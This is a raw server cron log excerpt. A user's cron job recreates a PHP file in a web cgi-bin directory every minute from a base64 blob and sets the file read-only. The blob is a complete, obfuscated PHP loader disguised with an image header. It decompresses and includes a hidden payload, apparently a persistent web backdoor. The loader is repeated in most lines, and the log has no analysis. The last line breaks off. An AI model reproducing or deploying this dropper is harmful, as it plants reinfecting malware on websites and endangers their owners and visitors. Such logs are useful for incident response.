Nov 13 17:06:01 server CROND[13899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:07:01 server CROND[14752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:08:01 server CROND[15604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:09:01 server CROND[16560]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 17:09:01 server CROND[16561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:10:01 server CROND[17473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 17:10:01 server CROND[17474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:10:01 server CROND[17475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:10:01 server CROND[17476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:11:01 server CROND[18411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:12:01 server CROND[19265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:12:01 server CROND[19266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 17:13:01 server CROND[20136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:14:01 server CROND[20473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:15:01 server CROND[21313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:15:01 server CROND[21314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:15:01 server CROND[21315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:16:01 server CROND[22230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:17:02 server CROND[23016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:18:01 server CROND[23848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:19:01 server CROND[24813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 